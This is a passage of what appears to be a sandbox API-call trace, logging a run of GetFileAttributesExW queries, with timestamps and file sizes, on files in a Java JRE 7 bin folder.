	[0055.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\java.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\java.exe"), fInfoLevelId=0x0, lpFileInformation=0x12602f08 | out: lpFileInformation=0x12602f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a8)) returned 1
	[0055.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\java_crw_demo.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\java_crw_demo.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602f58 | out: lpFileInformation=0x12602f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5da8)) returned 1
	[0055.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javacpl.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javacpl.exe"), fInfoLevelId=0x0, lpFileInformation=0x12602fa8 | out: lpFileInformation=0x12602fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8)) returned 1
	[0055.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javafx-font.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javafx-font.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602ff8 | out: lpFileInformation=0x12602ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b3a8)) returned 1
	[0055.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javafx-iio.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javafx-iio.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603048 | out: lpFileInformation=0x12603048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa8)) returned 1
	[0055.012] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javaw.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javaw.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603098 | out: lpFileInformation=0x12603098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2aba8)) returned 1
	[0055.012] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javaws.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javaws.exe"), fInfoLevelId=0x0, lpFileInformation=0x126030e8 | out: lpFileInformation=0x126030e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x409a8)) returned 1
	[0055.013] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jawt.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jawt.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603138 | out: lpFileInformation=0x12603138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37a8)) returned 1
	[0055.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jdwp.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jdwp.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603188 | out: lpFileInformation=0x12603188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x283a8)) returned 1
	[0055.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jfr.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jfr.dll"), fInfoLevelId=0x0, lpFileInformation=0x126031d8 | out: lpFileInformation=0x126031d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fa8)) returned 1
	[0055.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jfxmedia.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jfxmedia.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603228 | out: lpFileInformation=0x12603228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1afa8)) returned 1
	[0055.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jfxwebkit.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jfxwebkit.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603278 | out: lpFileInformation=0x12603278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb579a8)) returned 1
	[0055.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jli.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jli.dll"), fInfoLevelId=0x0, lpFileInformation=0x126032c8 | out: lpFileInformation=0x126032c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22da8)) returned 1
	[0055.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jp2iexp.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jp2iexp.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603318 | out: lpFileInformation=0x12603318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x313a8)) returned 1
	[0055.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jp2launcher.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jp2launcher.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603368 | out: lpFileInformation=0x12603368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcda8)) returned 1
	[0055.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jp2native.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jp2native.dll"), fInfoLevelId=0x0, lpFileInformation=0x126033b8 | out: lpFileInformation=0x126033b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8)) returned 1
	[0055.022] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jp2ssv.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jp2ssv.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603408 | out: lpFileInformation=0x12603408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29fa8)) returned 1
	[0055.022] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jpeg.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jpeg.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603458 | out: lpFileInformation=0x12603458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x239a8)) returned 1
	[0055.023] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jpicom.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jpicom.dll"), fInfoLevelId=0x0, lpFileInformation=0x126034a8 | out: lpFileInformation=0x126034a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x16da8)) returned 1
	[0055.023] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jpiexp.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jpiexp.dll"), fInfoLevelId=0x0, lpFileInformation=0x126034f8 | out: lpFileInformation=0x126034f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x261a8)) returned 1
	[0055.023] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jpinscp.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jpinscp.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603548 | out: lpFileInformation=0x12603548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x195a8)) returned 1
	[0055.023] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jpioji.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jpioji.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603598 | out: lpFileInformation=0x12603598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10da8)) returned 1
	[0055.024] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jpishare.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jpishare.dll"), fInfoLevelId=0x0, lpFileInformation=0x126035e8 | out: lpFileInformation=0x126035e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229a8)) returned 1
	[0055.024] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jqs.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jqs.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603638 | out: lpFileInformation=0x12603638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c9a8)) returned 1
	[0055.024] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jsdt.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jsdt.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603688 | out: lpFileInformation=0x12603688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8)) returned 1
	[0055.024] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jsound.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jsound.dll"), fInfoLevelId=0x0, lpFileInformation=0x126036d8 | out: lpFileInformation=0x126036d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77a8)) returned 1
	[0055.025] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jsoundds.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jsoundds.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603728 | out: lpFileInformation=0x12603728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6ba8)) returned 1
	[0055.025] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\kcms.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\kcms.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603778 | out: lpFileInformation=0x12603778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b7a8)) returned 1
	[0055.026] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\keytool.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\keytool.exe"), fInfoLevelId=0x0, lpFileInformation=0x126037c8 | out: lpFileInformation=0x126037c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\kinit.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\kinit.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603818 | out: lpFileInformation=0x12603818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\klist.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\klist.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603868 | out: lpFileInformation=0x12603868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\ktab.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\ktab.exe"), fInfoLevelId=0x0, lpFileInformation=0x126038b8 | out: lpFileInformation=0x126038b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\libxml2.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\libxml2.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603908 | out: lpFileInformation=0x12603908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6dba8)) returned 1
	[0055.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\libxslt.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\libxslt.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603958 | out: lpFileInformation=0x12603958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269a8)) returned 1
	[0055.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\management.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\management.dll"), fInfoLevelId=0x0, lpFileInformation=0x126039a8 | out: lpFileInformation=0x126039a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7ba8)) returned 1
	[0055.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\mlib_image.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\mlib_image.dll"), fInfoLevelId=0x0, lpFileInformation=0x126039f8 | out: lpFileInformation=0x126039f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8c1a8)) returned 1
	[0055.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\msvcr100.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\msvcr100.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603a48 | out: lpFileInformation=0x12603a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50)) returned 1
	[0055.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\net.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\net.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603a98 | out: lpFileInformation=0x12603a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127a8)) returned 1
	[0055.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\nio.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\nio.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603ae8 | out: lpFileInformation=0x12603ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc3a8)) returned 1
	[0055.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\npjpi170_45.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\npjpi170_45.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603b38 | out: lpFileInformation=0x12603b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x367a8)) returned 1
	[0055.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\npoji610.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\npoji610.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603b88 | out: lpFileInformation=0x12603b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x35da8)) returned 1
	[0055.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\npt.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\npt.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603bd8 | out: lpFileInformation=0x12603bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a8)) returned 1
